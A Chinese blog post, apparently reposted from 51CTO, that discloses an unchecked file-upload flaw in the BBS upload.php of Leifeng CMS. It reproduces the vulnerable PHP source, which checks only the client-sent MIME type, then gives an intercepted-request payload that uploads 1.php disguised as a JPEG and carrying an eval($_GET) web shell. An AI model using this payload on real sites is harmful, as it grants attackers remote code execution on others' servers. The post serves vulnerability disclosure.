雷风cms 漏洞

雷风cms默认是有一个bbs的, bbs根目录下默认是有一个upload.php
源码如下:

01 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "upload/2011/5/201105291829080676.gif) repeat-x;} 

14 </style> 

15 <body> 

16 <? 

17 if($_GET["action"]=="load"){ 

18     $uptypes = array('image/jpg','image/jpeg','image/png','image/pjpeg','image/gif','image/bmp','image/x-png'); 

19         $url     = "http://".$_SERVER["SERVER_NAME"]. $_SERVER["PHP_SELF"]; 

20         $url     = explode("/upload.php",$url); 

21         $url     = explode("/",$url[0]); 

22         $max_file_size = 2*(1024*1024); //上传文件大小限制, 单位BYTE 

23   

24         $root    = "upload_img"; 

25           

26         $folder  = date("Y-m",time()); 

27         $authnum = rand()%100000; 

28           

29         if ($_SERVER['REQUEST_METHOD'] == 'POST'){  

30             if (!is_uploaded_file($_FILES["file"][tmp_name])){ 

31                     exit("<script language=javascript>alert('Please select one file to upload(请选择上传文件)!');history.go(-1);</script>"); 

32                 } 

33                 $file = $_FILES["file"]; 

34                 if($max_file_size < $file["size"]){//检查文件大小 

35                     exit("<script language=javascript>alert('Max file size of $max_file_size bytes exceeded(文件大小不能超过2M)!');history.go(-1);</script>"); 

36                 } 

37                 if(!in_array($file["type"],$uptypes)){//检查文件类型 

38                     exit("<script language=javascript>alert('Type of the file must be \".jpg/.jpeg/.bmp/.gif/png\"(文件后缀只能是.jpg/.jpeg/.bmp/.gif/png)!');history.go(-1);</script>"); 

39                 } 

40             if(!@file_exists($root."/".$folder)) mkdir($root."/".$folder); 

41                   

42             $filename   = $file["tmp_name"]; 

43             $image_size = getimagesize($filename); 

44             $pinfo      = pathinfo($file["name"]); 

45                 $ftype      = $pinfo['extension']; 

46                 $fileinfo   = $root."/".$folder."/".time().$authnum.".".$ftype; 

47                   

48                 if (file_exists($fileinfo) && $overwrite != true){  

49                     exit("<script language=javascript>alert('同名文件已经存在了!');history.go(-1);</script>"); 

50                 } 

51                 if(!move_uploaded_file ($filename,$fileinfo)){ 

52                    exit("<script language=javascript>alert('移动文件出错!');history.go(-1);</script>"); 

53                 } 

54             $pinfo=pathinfo($fileinfo); 

55             $fname=$pinfo[basename]; 

56                   

57                 $root = explode("../",$root); 

58                 $urlpath = ""; 

59                 for($i=0;$i<count($url)-count($root)+1;$i++){ 

60                         $urlpath .= $url[$i]."/"; 

61                 } 

62                 $urlpath .= $root[count($root)-1]."/"; 

63                   

64                 $picture  = $urlpath.$folder."/".$fname; 

65             $id = trim($_POST["id"]); 

66                 if(!$id) $id = "picture"; 

67                   

68                 echo "<script language='javascript'>\r\n"; 

69             echo "window.parent.document.getElementById('$id').value='$picture';\r\n"; 

70             echo "window.location.href='upload.php?id=$id';\r\n"; 

71             echo "</script>\r\n"; 

72         } 

73         exit; 

74 } 

75 ?> 

76 <form action="upload.php?action=load" method="post" enctype="multipart/form-data" name="upform" onSubmit="return checkform();"> 

77         <input name="file" type="file" class="input" id="iFile" size="18" /> 

78         <input name="Submit" type="submit" class="iButton" value="上 传" /> 

79         <input type="hidden" name="id" id="id" value="<?=$_GET["id"]?>"> 

80 </form> 

81 <script language="javascript"> 

82 function checkform(){ 

83     if(document.getElementById("file").value == ""){ 

84                 alert("Please select one file to upload(请选择上传文件)!"); 

85                 return false; 

86         } 

87 } 

88 </script> 

89 </body> 

90 </html> 
很明显,无验证 过滤问题。
利用方法:
抓包
改包如下:
Content-Disposition: form-data; name="files"; filename="1.php"
Content-Type: image/jpeg

Gif89a<?
eval ($_GET[SB]);
?>



本文转自enables 51CTO博客,原文链接:http://blog.51cto.com/niuzu/577650,如需转载请自行联系原作者


上一篇:网站漏洞扫描 某CMS代码的越权与install.php重置漏洞


下一篇:MySQL索引优化案例